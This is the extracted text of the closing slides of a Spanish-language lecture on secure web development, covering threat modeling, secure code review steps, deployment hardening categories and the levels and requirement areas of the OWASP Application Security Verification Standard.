125 Modelado de amenazas (conclusiones) Es una actividad estructurada que permite identificar y evaluar amenazas y vulnerabilidades. Debe empezar temprano con el diseño arquitectónico del sistema Debe ser refinado en la etapa de implementación Debe coincidir plenamente con el diseño de los objetivos de seguridad Debe ayudar a ponderar contra otros aspectos de diseño como el rendimiento. 125

126 Otros abordajes de modelado de amenazas OWASP ( Trike ( OCTAVE (CERT) (SEI - Carnegie Mellon University ) ( 126

127 d) Diseño arquitectónico seguro (Etapa de desarrollo: Requerimiento y análisis) 127

128 Consideraciones de despliegue e infraestructura 128

129 Arquitectura de la aplicación y consideración de diseño 129

130 e) Revisión de Código seguro & Testing (Etapa de desarrollo: Desarrollo & Testing) 1: establecer metas y restricciones de la revisión 2: usar análisis estático para encontrar un conjunto inicial de vulnerabilidades 3: revisión de código buscando vulnerabilidades comunes guiados por el paso 2 4: revisar mecanismos únicos de seguridad en la arquitectura Técnicas de revisión: ControFlow DataFlow 130

131 Lista de preguntas para revisar el código 131

132 Lista de preguntas para revisar el código(2) 132

133 f) Revisión de Despliegue seguro (Etapa de desarrollo: Despliegue) Categorías de configuración de un servidor 133

134 Revisión de despliegue seguro Categorías de aseguramiento del servidor 134

135 Revisión de despliegue seguro Categorías de aseguramiento del servidor(2) 135

136 Application Security Verification Standard (OWASP) Permite verificar punto a punto cuestiones de seguridad en una aplicación web. Define 4 niveles de verificación: Cursory(0): la aplicación ha pasado cierto tipo de verificación Opportunistic(1): la aplicación posee defensas contra vulnerabilidades fáciles de descubrir Standard(2): posee defensas contra vulnerabilidades prevalentes con riesgo moderado a serio Advanced(3): posee defensas contra todas la vulnerabilidades y demuestra principios de buen diseño Define áreas de requerimiento de seguridad: Autenticación, Manejo de sesiones, Control de acceso, Manejo de entrada maliciosa, Criptografía, Manejo de errores y logging, Protección de datos, Comunicación, HTTP, Logica del negocio, Controles maliciosos, Archivos, y recursos, Moviles 136

137 Application Security Verification Standard (OWASP) Ejemplo de las verificaciones 137

138 Conclusiones El software para web tiene muchos elementos que deben ser considerados, no debe obviar ninguno. El software debe ser construido seguro desde el principio. Para ello debe apoyarse en alguna metodología. Aprender de los errores es importante y también lo es de otras experiencias. Estar al tanto con las vulnerabilidades es imperativo (especialmente de software de terceras partes que se utiliza). Utilizar herramientas automatizadas y/o semi-automatizadas para detectar y corregir errores es parte del trabajo de seguridad. 138

139 Obrigado pela atenção Perguntas? 139